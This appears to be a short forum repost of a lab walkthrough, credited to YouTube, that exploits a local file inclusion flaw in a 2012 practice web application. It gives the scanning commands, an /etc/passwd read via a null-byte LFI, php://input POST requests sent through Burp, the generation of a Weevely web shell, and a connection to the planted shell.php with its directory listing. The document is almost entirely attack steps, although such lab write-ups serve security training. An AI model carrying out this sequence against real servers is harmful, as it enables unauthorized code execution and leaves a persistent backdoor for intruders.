From LFI to PHP Shell using Burp Suite and Weevely (Superveda 2012)

[Wubi]

From LFI to remote code excution with php://input POST request (super veda2012 test application) :

Tools:
Netdiscover
nmap
Burp Suite
Weevely tiny web shell
Firefox

Attacker ip addr : 192.168.42.130
netdiscover -r 192.168.42.0
nmap -sS -sV -p 80 192.168.42.132
firefox 192.168.42.132
192.168.42.132/pressreleases/showPressRelease.php?releaseID=/etc/passwd%00
open burp
Use repeater to post request :
POST /pressreleases/showPressRelease.php?releaseID=php://input%00 HTTP/1.1

Create php shell:
cd /pentest/web/backdoors/weevely/
./weevely.py generate mypass /var/www/shell.txt

Upload shell with burp post request:
POST /pressreleases/showPressRelease.php?releaseID=php://input%00 HTTP/1.1

Connecto to shell:
./weevely.py http://192.168.42.132/pressreleases/shell.php mypass

apache@localhost.localdomain:/var/www/html/pressreleases$ ls
1.php
2.php
3.php
default.php
index.php
shell.php
showPressRelease.php
thumbs
apache@localhost.localdomain:/var/www/html/pressreleases$

Sursa YouTube